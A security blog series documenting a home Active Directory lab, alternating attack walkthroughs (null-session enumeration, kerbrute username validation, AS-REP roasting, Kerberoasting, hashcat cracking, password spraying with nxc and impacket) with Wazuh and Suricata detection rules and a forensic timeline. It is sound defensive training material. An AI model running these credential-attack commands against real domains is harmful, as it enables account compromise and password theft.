Gabriel Barbir

GOAD - User Enumeration, AS-REP Roasting, and Kerberoasting

2026-05-12T00:00:00+00:00

The previous two posts covered network recon and what that recon looked like in Wazuh and Suricata. We have a solid map of the network: three domains, five hosts, SMB signing gaps, SMBv1 on two machines, and WinRM open everywhere. Now the goal is to build up a set of credentials before we start poking at any of that attack surface.

This post stays on the offensive side. The mindmap I’ve been using as a loose reference throughout this series is Orange Cyberdefense’s AD attack mindmap.

Enumerating Users Without Credentials

The first thing to try in any AD environment is seeing how much you can pull without any credentials at all. A surprising number of environments allow null or anonymous authentication against SMB.

Starting with the simplest option against WINTERFELL (192.168.56.11):

nxc smb 192.168.56.11 --users

Null auth works. We get 10 users from the NORTH domain. That alone is useful, but one entry stands out immediately: samwell.tarly has Password: Heartsbane sitting right in the Description field.

This is one of the most common AD misconfigurations in the wild. Admins sometimes drop temporary passwords into the Description field when setting up accounts and forget to remove them. The Description field is readable by any authenticated or guest user by default, and in this case by anyone with null auth. We now have a working credential without doing anything clever.

Re-running with those credentials gets us more:

nxc smb 192.168.56.11 -u samwell.tarly -p Heartsbane --users

More users surface with authentication. We add everything to our working files.

Getting the Password Policy

Before doing anything that generates failed logon attempts, the password policy needs to be checked. Locking accounts is noisy and in a real engagement it tips off the blue team and breaks things for legitimate users.

The mindmap covers a few ways to pull it:

nxc smb 192.168.56.11 -u samwell.tarly -p Heartsbane --pass-pol

Lockout threshold is 5 attempts, lockout duration is 5 minutes. That’s tight. Any password spray needs to stay well under 5 attempts per account and should be paced carefully. We’ll keep this in mind for later.

Building a Username List with OSINT

NXC only sees users in the north.sevenkingdoms.local domain so far. We need a broader username list that covers sevenkingdoms.local and essos.local as well, and we need to do it without hammering the DCs with failed lookups.

Since GOAD is based on Game of Thrones, the username format should follow character names. A reasonable assumption for the format is first.last based on what we’ve already seen (arya.stark, jon.snow, samwell.tarly). So the OSINT angle here is just finding a complete list of GOT character names.

HBO Max’s cast and crew page for Game of Thrones has what we need:

The HTML structure is clean and consistent:

Each character entry uses character-short-title for the character name (what we want) and character-full-title for the actor name. Simple to scrape:

import requests
from bs4 import BeautifulSoup

url = "https://www.hbomax.com/shows/game-of-thrones/4f6b4985-2dc9-4ab6-ac79-d60f0860b0ac/cast-and-crew"
soup = BeautifulSoup(requests.get(url).text, "html.parser")

names = []

for tag in soup.find_all("p", class_="character-short-title"):
    names.append(tag.text.strip())

for user in names:
    user = user.replace(" ", ".").lower()
    print(user)

This gives us a solid list in first.last format. A few entries need to be cleaned up before using as usernames: sandor.clegane.("the.hound"), jaqen.h'ghar, eddard.'ned'.stark, and brienne.of.tarth all have characters that won’t work as AD usernames. We filter those out and combine the scraped list with the users already pulled from NXC.

Kerbrute Username Validation

With a cleaned username list, we can validate which names actually exist in each domain without generating failed logon events. This is where Kerbrute comes in.

Kerbrute queries usernames against the Kerberos service on the DC. When a username doesn’t exist, the KDC responds with KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN. When it does exist, the KDC responds with either a TGT (if pre-auth is not required) or an error indicating pre-auth is needed. Both valid responses confirm the account exists. Crucially, this does not generate a failed logon event, so it’s much quieter than an SMB-based username bruteforce. This is crucial to understand as once we flip to the defensive side, we can build queries targeting exactly this type of behavior.

kerbrute userenum -d sevenkingdoms.local --dc 192.168.56.10 get_users.txt
kerbrute userenum -d essos.local --dc 192.168.56.12 get_users.txt

Valid accounts light up in green. We now have a confirmed username list per domain to work from.

One thing we skipped in the initial enumeration was checking what SMB shares are accessible without real credentials.

Two passes: one anonymous (-u '' -p '') and one as a guest session:

nxc smb 192.168.56.0/24 -u '' -p ''
nxc smb 192.168.56.0/24 -u 'a' -p ''

The 'a' username trick is worth explaining. Passing a non-existent username causes Windows to degrade the session to guest authentication if the host has guest access enabled, rather than failing the connection outright. Passing an empty string attempts a true anonymous bind. Both are worth trying since some hosts respond to one but not the other.

Some shares are accessible. We note what’s readable and move on.

AS-REP Roasting

AS-REP roasting targets accounts that have UF_DONT_REQUIRE_PREAUTH set. Normally, Kerberos requires the client to prove knowledge of the user’s password before the KDC will issue a TGT, which is what pre-authentication is. When that flag is set on an account, the KDC will hand out the AS-REP without any proof of identity, and part of that response is encrypted with the user’s password hash. That encrypted blob can be cracked offline.

impacket-GetNPUsers north.sevenkingdoms.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt

Most accounts require pre-auth. brandon.stark doesn’t, and we get his AS-REP hash. Cracking it:

hashcat -m 18200 -a 0 asrep.txt /usr/share/wordlists/rockyou.txt

brandon.stark:iseedeadpeople. That goes in the creds file.

Password Spraying

With a username list and a few known passwords, it’s worth checking whether any users have their username as their password. This is the kind of thing that slips through in lab environments and occasionally in real ones too.

The --no-bruteforce flag with the same file for both -u and -p tests each username against the password at the same line index in the file. It’s not a full spray across all combinations, just username equals password for each entry:

nxc smb 192.168.56.11 -u users.txt -p users.txt --no-bruteforce

hodor:hodor. We now have three sets of credentials: samwell.tarly:Heartsbane, brandon.stark:iseedeadpeople, and hodor:hodor.

Worth noting: this kind of spray generates a lot of event log noise. Failed logon attempts stack up fast. The detection side of this will be interesting to dig into.

Expanding the User List

With a valid domain credential, we can pull a more complete user list from AD directly:

impacket-GetADUsers -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople

A few more users appear that weren’t in the NXC output, including eddard.stark and catelyn.stark. Those get added to the working list.

Kerberoasting

Kerberoasting goes after service accounts. Any domain user can request a TGS (service ticket) for any account that has a Service Principal Name (SPN) registered. The ticket is encrypted with the service account’s password hash, and like AS-REP hashes, it can be cracked offline.

impacket-GetUserSPNs -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes

Five SPNs across three accounts:

Account	SPN
`sansa.stark`	`HTTP/eyrie.north.sevenkingdoms.local`
`jon.snow`	`CIFS/thewall.north.sevenkingdoms.local`
`jon.snow`	`HTTP/thewall.north.sevenkingdoms.local`
`sql_svc`	`MSSQLSvc/castelblack.north.sevenkingdoms.local`
`sql_svc`	`MSSQLSvc/castelblack.north.sevenkingdoms.local:1433`

Three hashes captured. Cracking with:

hashcat -m 13100 -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt

sansa.stark and sql_svc don’t crack against rockyou.txt. jon.snow:iknownothing does.

The sql_svc account is worth coming back to. It has SPNs registered against castelblack on both the default MSSQL port and 1433 explicitly, which means it’s the service account running SQL Server. Service accounts in AD often have elevated permissions and are used for lateral movement. Even though the hash didn’t crack, it’s a target to keep in mind.

With jon.snow:iknownothing we can now enumerate SMB shares across the whole subnet as an authenticated domain user:

nxc smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares

jon.snow has READ,WRITE on the all and public shares on castelblack. A lot of read access opens up across the other hosts as well. There’s enough here to dig into, but we’re going to pause and let the SIEM catch up first.

Where This Leaves Us

Credential count at the end of this phase:

Account	Password	Domain
`samwell.tarly`	`Heartsbane`	`north.sevenkingdoms.local`
`brandon.stark`	`iseedeadpeople`	`north.sevenkingdoms.local`
`hodor`	`hodor`	`north.sevenkingdoms.local`
`jon.snow`	`iknownothing`	`north.sevenkingdoms.local`

The next post flips back to the defensive side: mapping everything done here to MITRE ATT&CK techniques, building detection rules for the noisier attacks, and seeing what the logs actually look like for AS-REP roasting and password spraying in Wazuh. After that, we’ll pick up with Bloodhound and start mapping paths through the environment.

GOAD Phase 1 - Detection: Wazuh and Suricata Analysis

2026-05-08T00:00:00+00:00

The previous post covered the recon phase: the NXC SMB sweep, the full nmap port scan, DC discovery, and getting Kali configured to speak Kerberos. This post flips to the defensive side. What did those scans actually look like in Wazuh and Suricata? What fired, what didn’t, and what would break against a more careful attacker?

This is the kind of analysis a SOC analyst does after an incident: starting from known attacker behavior and working backward to figure out what the tools caught, what they missed, and what detection gaps need to be addressed.

Attacker IP throughout: 192.168.56.137

A Problem I Had to Fix First: No Sysmon

GOAD’s provisioning script doesn’t install Sysmon. That matters because Sysmon is one of the primary sources of process-level telemetry on Windows. Without it, Wazuh’s visibility is limited to what default Windows Event Logging produces, which is a lot less.

I found this out the hard way. After running the initial recon phase, Wazuh had almost nothing useful to show. I had to manually install Sysmon across all five GOAD machines, confirm the logs were flowing into Wazuh, and rerun the entire port scan before there was anything worth analyzing. If your SIEM looks suspiciously quiet after a scan, check Sysmon before assuming you have good coverage.

Detecting the NXC SMB Sweep

When nxc smb 192.168.56.0/24 runs, it initiates an anonymous NTLM negotiation against every SMB host on the subnet. It starts the authentication handshake to pull host metadata (hostname, OS version, domain, signing status) but never completes it. The target machines log this as a network logon from ANONYMOUS LOGON.

The Wazuh query to surface it:

data.win.system.eventID = 4624 AND data.win.eventdata.logonType = 3

Event ID 4624 is a successful logon. Logon type 3 is a network logon, as opposed to interactive (type 2) or service (type 5). Filtering to type 3 narrows the result set to authentication events coming over the network.

All of those hits fired on rule 100105, which I built in an earlier lab to catch Pass-the-Hash by flagging anonymous NTLM network logons. Technically, this is a false positive since no hash was actually passed. But from the target machine’s perspective, the anonymous NTLM knock NXC sends during a sweep looks identical to the first stage of a PTH attempt. The machine sees an anonymous logon, logs it, and the rule fires.

Two things make this alert worth investigating even though the specific technique classification is wrong:

It fired on all five machines within milliseconds of each other. Legitimate anonymous logons don’t do that.
The source IP (192.168.56.137) is consistent across every hit, giving you a clear starting point to pivot from.

This is a useful reminder that rules don’t need to be technically correct about the technique to be operationally valuable. The behavior is suspicious either way.

Detecting Nmap in Wazuh

Nmap’s -sC flag runs default NSE scripts. The SMB enumeration scripts in that set have to supply a workstation name during authentication, and nmap uses the string nmap as that identifier by default.

data.win.eventdata.workstationName = nmap

A few things worth pulling out of those logs:

workstationName: nmap - nmap announces itself and doesn’t try to hide it
ipAddress: 192.168.56.137 - consistent with the NXC sweep hits above
targetUserName: Guest - the account the SMB scripts probe against
lmPackageName: NTLM V1 - the older, weaker NTLM variant; worth flagging on its own since modern environments should be enforcing NTLMv2 at minimum

The obvious limitation: this query only works because nmap didn’t bother to change its default workstation name. One flag change (--script-args smbdomain=ANYNAME) and this detection produces zero results. Any attacker who knows nmap defaults will bypass this trivially.

Detecting the Port Scan in Suricata

Wazuh handles authentication event logs well but it’s not the right tool for raw network-level detection. Port scanning belongs in Suricata.

In EveBox, the Events tab shows Suricata’s FLOW records. After the nmap scan:

One source IP, the same timestamp, different destination ports across multiple hosts. That’s a port scan. FLOW records don’t generate alerts by themselves, but they give you the raw network evidence to confirm what the alerts are pointing at, which matters when you’re trying to distinguish a real scan from a noisy false positive.

The Alerts tab had 7 hits:

Breaking these down:

ET SCAN RDP Connection Attempt from Nmap (2 hits, against 192.168.56.22 and 192.168.56.12): Suricata matched nmap’s RDP probe signature. This is the only nmap-specific alert in the list. If the attacker skips port 3389, this rule never fires.
ET INFO Python SimpleHTTP ServerBanner (3 hits, against 192.168.56.12, .22, and .23): This is not from nmap. A Python HTTP server was running on the Kali machine at the time and Suricata caught its banner on HTTP connections to the targets. Interesting to see but not part of the scanning detection.
ET INFO Possible Kali Linux hostname in DHCP Request Packet (2 hits): Suricata fingerprinted the Kali hostname from a DHCP broadcast. Low signal on its own, but combined with the other alerts it’s useful context that a Kali machine is active on this network.

The only alert that is directly tied to the nmap scan is the RDP one. That’s a narrow hook to rely on.

Why Port Scan Detection Is Hard

The nmap scan here is an easy case for defenders. It’s noisy, uses default signatures, doesn’t spoof anything, and literally announces its tool name in the SMB workstation field. A more careful attacker dismantles all of these detections without much effort:

Change the workstation name: --script-args smbdomain=ANYNAME and the Wazuh query returns nothing
Skip port 3389 from the scan scope and the only Suricata nmap rule that fired disappears
Build a custom scanner in Scapy with spoofed source IPs and IP-based correlation breaks entirely
Slow the scan rate below whatever threshold time-based rules are tuned to and the volumetric pattern disappears

Robust port scan detection at scale is more of a network infrastructure problem than a SIEM problem. Smart routers, firewalls, and switches that enforce ingress/egress controls and detect spoofed traffic handle the cases that no signature-based ruleset can reliably catch. For rule-based coverage, aleksibovellan/opnsense-suricata-nmaps has a solid set of Suricata rules written specifically for common nmap scan types. I’ll pull those in for future phases.

Summary

The takeaway from a detection engineering perspective: default configurations catch default attacker behavior. The moment an attacker steps off the beaten path, the coverage gap grows quickly. Layering SIEM, IDS, and network controls is what closes it.

We’ll continue with our enumeration in the next blog as we don’t have quite enough yet to exploit anything and flip back over to detection just like we did here.

GOAD Phase 1 - Recon & Network Enumeration

2026-05-06T00:00:00+00:00

Getting Oriented

The lab is up. Now comes the part where we pretend we don’t know anything about it.

Throughout this series I’ll be using Orange Cyberdefense’s AD mindmap as a loose reference for what to do at each phase. It covers a huge range of AD attack techniques organized by stage, so I’ll pull from it as needed rather than trying to follow it step by step.

This post covers the recon and enumeration phase: scanning the network, mapping out the domains and DCs, and getting our Kali machine set up to talk Kerberos before any actual attacks start. The defensive analysis comes in the next post.

Scanning the Network

Here’s what the mindmap suggests for initial network scanning:

I’ll run the relevant ones. The SMB vulnerability scan (nmap -Pn --script smb-vuln*) I’ll skip for now since that’s more of an exploitation step than recon. UDP scanning with -sU I’ll also defer since it’s slow and we have a pretty clear target already.

SMB Sweep

nxc smb 192.168.56.0/24 | tee smb/nxc_smb_scan.txt

NetExec (nxc) is a Swiss Army knife for Windows network authentication testing and enumeration. Its predecessor, CrackMapExec, did the same job but is no longer maintained. This command does an SMB sweep across the subnet, grabbing hostnames, OS versions, domain info, and signing status from every host that responds.

Five hosts came back. A few things immediately stand out:

Host	IP	Domain	Signing	SMBv1
KINGSLANDING	192.168.56.10	sevenkingdoms.local	Required	No
WINTERFELL	192.168.56.11	north.sevenkingdoms.local	Required	No
MEEREEN	192.168.56.12	essos.local	Required	Yes
CASTELBLACK	192.168.56.22	north.sevenkingdoms.local	Not required	No
BRAAVOS	192.168.56.23	essos.local	Not required	Yes

CASTELBLACK and BRAAVOS both have SMB signing disabled. That makes them candidates for NTLM relay attacks later. MEEREEN and BRAAVOS have SMBv1 enabled, which is a legacy protocol Microsoft has been pushing people to disable for years. All worth noting for the exploitation phase.

Also visible: two separate domains, sevenkingdoms.local and essos.local, plus a subdomain north.sevenkingdoms.local. We’ll map this out properly once we’ve done the full port scan.

Host Discovery

nmap 192.168.56.0/24 | tee nmap/nmap_host_discovery.txt

A basic nmap sweep across the subnet. On a local network nmap defaults to ARP ping for host discovery, so this is fast. It found 8 hosts up total – the 5 GOAD VMs plus the host machine and a couple of other devices on the VMware network.

The 5 GOAD VMs are at .10, .11, .12, .22, and .23. Those go into a hosts.txt file to feed into the full scan next.

Full Port Scan

sudo nmap -Pn -sC -sV -p- -oA nmap/nmap_full_network_scan -iL hosts.txt

Breaking down the flags:

-Pn skips host discovery since we already know which hosts are up
-sC runs the default NSE scripts (banner grabbing, service enumeration, basic checks)
-sV probes for service versions
-p- scans all 65535 ports instead of just the top 1000
-oA writes output in all three nmap formats (normal, XML, grepable)
-iL hosts.txt reads the target list from a file

This takes a while. Here’s the full output:

Full nmap output (click to expand)

GOAD - Lab Build & Environment Setup

2026-05-04T00:00:00+00:00

What This Lab Is

I wanted a lab where I could run real attacks against a real Active Directory environment and then flip to the defensive side and actually investigate what I just did. Not a CTF where the answer is baked in, and not a platform that hands you a VM and calls it a day. Thankfully, GOAD is the perfect solution for this.

The offensive work will cover the usual phases: recon, exploitation, lateral movement, persistence. The defensive work is about detection and investigation for each phase. Looking at the logs, the PCAPs, and figuring out what happened, how far it got, and where a defender could have caught it earlier.

I’ll be breaking everything down into separate sections and posting blogs about them. This blog serves to outline how I setup the lab.

Why GOAD Instead of Metasploitable

Metasploitable3 was the obvious starting point. Lots of documentation, plenty of vulnerable services, and no shortage of writeups. The problem is the age. Windows Server 2008 and an ancient Ubuntu box don’t really reflect what’s sitting in production networks today. The AD structure is also basically nothing, which limits what you can actually do on the offensive side.

GOAD (Game of Active Directory) is a purpose-built vulnerable AD playground from Orange Cyberdefense. The full version spins up:

5 VMs
2 forests
3 domains

That’s a much more interesting target. Trust relationships, cross-forest attack paths, multi-domain privilege escalation. On the defensive side it’s equally useful since attack activity is spread across multiple machines and log sources, which is a lot closer to what a real investigation looks like. GOAD is also actively maintained, so the misconfigurations and attack paths aren’t all decade-old CVEs.

The catch is that it’s not a simple setup. The resource requirements are real and the provisioning script requires some babysitting.

Hardware Constraints and How I Worked Around Them

The GOAD wiki puts the RAM requirement at around 24GB. I have 32GB and thought that would be fine. It’s not, once you factor in the host OS and Wazuh running alongside everything else, I barely scrape by.

The fix was moving Wazuh off to my homelab. I have an Ubuntu server on some spare hardware that handles the SIEM side of things. Offloading that freed up enough headroom on the main machine to run GOAD without everything grinding.

For networking, each GOAD VM got two NICs:

vmnet3: The isolated internal network just for GOAD. All the AD traffic, attack traffic, and lateral movement happens here. This is what Suricata watches.
Host network (NAT, restricted): Only used for the Wazuh agents to phone home to the homelab server. A firewall rule blocks everything except outbound Wazuh traffic so nothing from the lab accidentally touches my actual network.

Suricata runs on the host and listens on vmnet3, so it catches everything moving between the VMs. Wireshark works the same way when I want to pull a PCAP manually.

Getting GOAD Actually Running

The setup script is where most people hit a wall. It provisions all five VMs over SSH and WinRM, pushing out domain configs, users, group policies, and trust relationships. When the networking is right it mostly handles itself. When it’s not, you get vague failures with little documentation and a half-baked domain.

My issue was NIC misconfiguration after the VMs were created. The DHCP and DNS settings got mangled during provisioning, so the VMs couldn’t talk to each other. DC01 couldn’t reach DC02, DC02 couldn’t reach DC03, and so on. None of them could reach my host for the SSH and WinRM sessions the script needs to do its job. Provisioning would stall partway through and leave everything in a broken state.

I had to go through each VM manually, fix the NIC configs, static IPs since DHCP couldn’t do it, and verify DNS resolution was actually working before running the script again. Once the machines could actually talk to each other and to my host machine, it went through cleanly.

P.S. If you’re trying to setup yourself, the default credentials for all VMs is vagrant:vagrant, which has administrative access for any fixes you need to do manually

If you’re stuck on something similar, DNS is almost always the problem. Check that before you go digging anywhere else. And if the VMs can’t talk to your host machine and vice versa, it’ll never work.

Wazuh Agents

With GOAD provisioned, I installed Wazuh agents on all five VMs, pointed them at the homelab server, and set the service to start on boot. The NAT addresses on the host-network NICs were set to static so the agents don’t lose connectivity after a reboot.

All five are active and reporting. Good enough to move on.

Suricata on Windows

Suricata on Windows needs two things:

Suricata for Windows
Npcap, which Suricata needs to actually capture packets on Windows

After installing both, I pointed Suricata at vmnet3 and let it run. Quick sanity check to make sure the logs are being populated.

Logs are coming in. Setup is done.

Why Not Just Use HTB or TryHackMe

The managed platforms are fine for learning specific techniques. The problem is you can’t touch the defensive side. There’s no logging infrastructure you control, no detection stack you can tune, and no way to investigate what you just did from a defender’s perspective, and most importantly, no way to learn how to fix the vulnerability. You run the attack, you get the flag, and that’s it.

Here I can run an attack, then go check what Suricata flagged, pull the PCAP, dig through the Wazuh logs, and figure out where detection worked and where it didn’t. I can implement patches temporarily for practice, and revert afterward. When something doesn’t alert that should, I can actually figure out why and fix it. That back-and-forth is the whole point of building this rather than just renting someone else’s environment.

What’s Next

Everything is up: domain provisioned, agents connected, Suricata watching the right interface.

The next posts cover the actual attacks, one phase at a time. After each offensive post comes the defensive side: what the attack left behind in the logs and PCAPs, how it could be detected, and what a realistic response looks like.

NOTE: Throughout the exploitation phase, I will be using OrangeCyberDefense’s AD mindmap that you can find here: https://orange-cyberdefense.github.io/ocd-mindmaps/

AD Attack Lab (Part 3) - Detection Engineering

2026-03-31T00:00:00+00:00

In Part 2, five attacks ran against the domain and every one of them left a footprint in Wazuh. The raw events were there: Event IDs 4625, 4769, 4768, 4624, 4662. But raw events aren’t detections. A SOC analyst staring at a wall of unfiltered logs isn’t doing detection engineering. Writing the rules that turn those events into actionable alerts is.

This post covers Phase 3: building five custom Wazuh detection rules from scratch, one per attack technique, testing that each one fires correctly, and running benign activity to make sure they don’t fire when they shouldn’t. Getting that second part right is what separates a useful detection from one that cries wolf until someone disables it.

All five rules and the MITRE ATT&CK coverage map are published in the detection-rules and mitre-coverage directories of the lab repo.

A Quick Note on How Wazuh Handles Logs

Before getting into the rules, it’s worth explaining something that took real troubleshooting to figure out, because it’s a meaningful difference from how most people think SIEMs work.

In Splunk or Elastic, everything gets ingested. Every log lands in the index, and analysts search freely across all of it. Wazuh works differently. It was originally built as a host-based intrusion detection system (HIDS), not a traditional SIEM. By default, if an event doesn’t match an existing rule, Wazuh discards it. It never touches the index and it’s never searchable.

That’s why Kerberos events (4768, 4769) weren’t showing up in Discover during Phase 2, even though they were clearly happening on the domain. Wazuh had no built-in rules matching the specific attack patterns, so those events were getting silently dropped.

The fix was two things:

Enable logall_json: yes in the Wazuh config. This forces every event into an archive regardless of rules.
Add wazuh-archives-* as a searchable index pattern in the dashboard.

With that in place, the raw events became visible and the rule-writing could begin.

The Five Detection Rules

Rule 1 — Password Spray: Failed Logon (T1110.003)

The first rule targets the burst of failed network logons that password spraying generates. The key challenge here is distinguishing a spray from a single user mistyping their password. A spray hits many accounts from one source. A bad password attempt hits one account once or twice.

The rule solves this with a frequency threshold: it chains off Wazuh’s built-in parent rule for NTLM failed logons, adds a filter for Logon Type 3 (network logon only, not interactive failures from the local machine), and only fires when 5 or more failures hit within a 60-second window.

A few fields worth understanding here:

if_matched_sid: tells Wazuh to only evaluate the rule when a specific parent rule has already fired. Instead of parsing the raw log again, we’re stacking on top of an existing match. It’s more efficient and avoids duplicating logic.
frequency + timeframe: the rule only triggers if the parent condition is met frequency times within timeframe seconds. This is the threshold mechanism that separates a spray from a single bad login.
logonType ^3$: the ^ and $ are regex anchors meaning “exactly this value.” Logon Type 3 is a network logon (authenticating to a remote resource), which is what a spray over SMB or Kerberos generates.

Re-running the kerbrute spray confirmed the rule fired cleanly.

In a real environment, tuning would go further: narrowing the threshold based on observed baseline traffic, excluding known service accounts that legitimately generate periodic failed logons, and potentially correlating with the source IP to flag external or unexpected sources.

Rule 2 — Password Spray: Kerberos Pre-Auth Failure (T1110.003)

Kerbrute doesn’t spray over SMB. It hits Kerberos directly, which generates Event ID 4771 (Kerberos pre-authentication failure) instead of 4625. The two events are different log sources and need separate rules.

The logic is the same: frequency threshold, same 5-in-60 window, but chaining off the Kerberos parent rule and matching on Event ID 4771 specifically.

The reason both rules exist is that a real adversary will often try multiple spray methods in sequence or in parallel. Covering only NTLM failures and missing the Kerberos path leaves a blind spot.

Rule 3 — Kerberoasting (T1558.003)

The Kerberoasting rule was deployed earlier in the lab and confirmed during Phase 2. The detection logic keys on two fields in Event ID 4769 (Kerberos service ticket request): the ticketEncryptionType must be 0x17 (RC4), and it chains off the parent Kerberos rule.

RC4 encryption for service tickets is the fingerprint. Modern Windows environments negotiate AES by default (0x12 or 0x11). An RC4 ticket request against a service account is almost always an attacker probing for crackable hashes.

Rule 4 — AS-REP Roasting (T1558.004)

The AS-REP Roasting rule keys on Event ID 4768 (Kerberos authentication ticket request) with preAuthType set to 0. Pre-auth type 0 means the DC responded without requiring the client to prove their password first. That’s the misconfiguration that makes this attack possible.

Same parent rule chain, same encryption type flag. The only structural difference from the Kerberoasting rule is the event ID (4768 vs 4769) and the pre-auth field instead of the encryption type.

Rule 5 — Pass-the-Hash (T1550.002)

Pass-the-Hash was the most interesting rule to tune. The detection approach keys on NTLM network logons where the target username resolves to ANONYMOUS LOGON. That pattern shows up during Pass-the-Hash attempts when the authentication handshake doesn’t carry a real user identity in that field.

The rule chains off Wazuh’s parent NTLM rule (92652) and anchors the target username with regex to match exactly ANONYMOUS LOGON$.

Rule 6 — DCSync (T1003.006)

The DCSync rule was also deployed earlier and confirmed during Phase 2. It keys on Event ID 4662 (directory service object access) with two specific replication GUIDs in the properties field: 1131f6aa and 1131f6ad, the GUIDs for DS-Replication-Get-Changes and DS-Replication-Get-Changes-All.

These GUIDs only appear when an account is requesting domain replication data. In a single-DC lab, there’s no legitimate replication traffic, which makes this rule essentially noise-free. In a real environment with multiple DCs, the rule needs a suppression for known DC computer accounts.

The 400-hit volume reflects the number of replication calls secretsdump.py makes when pulling the full domain hash database.

False Positive Testing

Writing a rule that fires on an attack is only half the job. A rule that also fires on normal activity is worse than useless. It trains analysts to ignore it and eventually gets disabled. Each rule needs to be tested against the benign activity it might confuse for an attack.

Test 1 — Wrong Password at the Workstation

To test whether the password spray rule would fire on a single user making mistakes, the Administrator account on the DC was locked out intentionally by entering the wrong password three times at the Windows login screen.

Then Wazuh was checked for rule 100103 firing during that window.

No alert. Three failed logons across 60 seconds from a single interactive session doesn’t meet the frequency threshold of 5, and it’s Logon Type 2 (interactive), not Logon Type 3 (network). Both conditions protected against the false positive.

Test 2 — Failed Kerberos Authentication from Kali

To test the Kerberos spray rule, failed authentication attempts were sent from Kali using a wrong password, similar to what a spray looks like but below the threshold.

No alert. Fewer than 5 failures inside the 60-second window kept the rule silent.

Test 3 — Mapped Network Drive to the DC

This tested both the Kerberoasting rule and the Pass-the-Hash rule at once. A network drive was mapped from the Windows 10 workstation to the DC’s C$ share (\\192.168.93.50\c$) using normal domain credentials.

Mapping a drive authenticates over Kerberos by default and generates network logon traffic. On paper, that could look like Kerberoasting or lateral movement. The rules should stay quiet.

No alerts on either rule. Normal Kerberos-authenticated drive mapping doesn’t generate RC4 ticket requests (it uses AES), and it doesn’t produce the ANONYMOUS LOGON pattern the PtH rule is keying on.

All Five Rules — Summary View

Wazuh’s Rules management UI shows all custom rules in one view. All five are listed, active, and mapped to their MITRE ATT&CK technique IDs.

The full rule file is in the lab repo: detection-rules

MITRE ATT&CK Coverage

The five techniques covered by this lab map to the Credential Access and Lateral Movement tactics in the MITRE ATT&CK framework. The Navigator heatmap below shows the coverage across the attack chain.

The JSON, SVG, and XLSX exports are in the lab repo: mitre-coverage

What’s Next

With rules written, tested, and validated, Phase 4 is the forensic investigation. The task is working backwards from the alerts, treating them like a real ticket, and reconstructing what happened using only the logs. Eric Zimmerman’s tools, Timeline Explorer, and six exported event log files are next.

AD Attack Lab (Part 4) - Windows Forensic Investigation

2026-03-31T00:00:00+00:00

Parts 1 through 3 covered the attack side. This one is the investigation.

Five alerts fired in Wazuh. The ticket is assigned. The only resources are the logs and the tools. No notes from the attack phase, no memory of what ran. Just the event logs from two Windows machines and the question of what actually happened.

This post walks through the full forensic reconstruction using Eric Zimmerman’s EvtxECmd and Timeline Explorer, working from raw Windows event logs exported from both machines. The goal is a complete, evidence-backed attack timeline with real timestamps.

Step 1 — Exporting the Logs

The first step on the Domain Controller was exporting the Security, System, and Sysmon event logs to .evtx files, then pulling the same set from the Windows 10 workstation. The exports were copied to the analysis machine over an SMB share.

Six files total, three from each machine. The DC Security log is the main source of evidence for this attack chain since all the attacker’s activity touched the DC directly.

Step 2 — Parsing with EvtxECmd

Raw .evtx files aren’t easy to work with. Eric Zimmerman’s EvtxECmd converts them to clean, structured CSV files that Timeline Explorer can ingest. The tool is part of the EZ Tools suite, downloaded using the Get-ZimmermanTools.ps1 script.

EvtxECmd was run against each file individually:

.\EvtxECmd.exe -f DC_Security.evtx --csv C:\Analysis --csvf DC_Security.csv
.\EvtxECmd.exe -f DC_Sysmon.evtx --csv C:\Analysis --csvf DC_Sysmon.csv
.\EvtxECmd.exe -f W10_Security.evtx --csv C:\Analysis --csvf W10_Security.csv
.\EvtxECmd.exe -f W10_Sysmon.evtx --csv C:\Analysis --csvf W10_Sysmon.csv

Four CSVs. The DC Security log alone parses to over 13 MB of structured event data. Everything is now queryable.

Step 3 — Loading Timeline Explorer

Both DC Security CSVs were loaded into Timeline Explorer simultaneously, giving a unified chronological view across all log sources. Every event from both machines, sorted by timestamp, in one place.

From here, the investigation is a matter of applying Event ID filters one at a time and following the evidence forward.

The Investigation

Event ID 4771 — Kerberos Pre-Auth Failures (First Contact)

The first filter applied was 4771, Kerberos pre-authentication failures. This is what Kerbrute generates when it sprays domain accounts over Kerberos.

The earliest cluster appears at 2026-03-30 21:32:45. This is the first recorded hostile activity in the logs.

The payload columns confirm the scope: every domain account was hit, all from the same source.

Thirteen accounts targeted in the initial Kerberos spray: lrivera, dprice, ebrooks, gcoleman, nbennett, jperry, mturner, ehughes, hross, chayes, lfoster, mcooper, sward, all from 192.168.93.156.

Event ID 4625 — Failed NTLM Logons (SMB Spray)

The next filter was 4625, failed logons. This is what netexec generates when it sprays over SMB.

First cluster at 2026-03-30 21:44:20, twelve minutes after the Kerberos spray. The attacker ran both tools, targeting the same accounts across two different protocols.

Fifteen accounts in the SMB spray, slightly wider than the Kerberos spray, same source IP. At this point in the investigation, 192.168.93.156 is confirmed as the attacker’s machine.

Event ID 4624 — Successful NTLM Logon (Pass-the-Hash)

Filtering on 4624 with LogonProcessName: NtLmSsp reveals the Pass-the-Hash activity. A Logon Type 3 (network logon) authenticating via NtLmSsp in a Kerberos-capable domain is the tell.

First occurrence: 2026-03-30 21:44:07, actually slightly before the 4625 SMB spray cluster, suggesting the tooling generated both failed and successful authentication attempts in the same sweep.

The payload columns show multiple accounts targeted (asimmons, svc_sql, svc_backup, NT AUTHORITY\ANONYMOUS LOGON) with LogonType 3 and NtLmSsp as the logon process. The attacker had hashes and was authenticating with them directly.

Event ID 4769 — Kerberos Service Ticket Request (Kerberoasting)

Filtering on 4769 with TicketEncryptionType RC4-HMAC isolates the Kerberoasting activity.

Two targets confirmed: svc_backup and svc_sql, both with TicketEncryptionType: RC4-HMAC. These are the service accounts with SPNs registered in Phase 1. Exactly what GetUserSPNs.py would request.

Earliest Kerberoasting request: 2026-03-30 21:51:32, nineteen minutes after first contact. The attacker had already confirmed valid credentials from the spray before pivoting to ticket abuse.

Event ID 4768 — Kerberos Auth Ticket Request (AS-REP Roasting)

Filtering on 4768 and looking for the “Logon without Pre-Authentication” preAuthType surfaces the AS-REP roasting event.

Target confirmed: CORP.LOCAL\asimmons, requesting a krbtgt service ticket, the AS-REP response.

Timestamp: 2026-03-31 16:57:02.

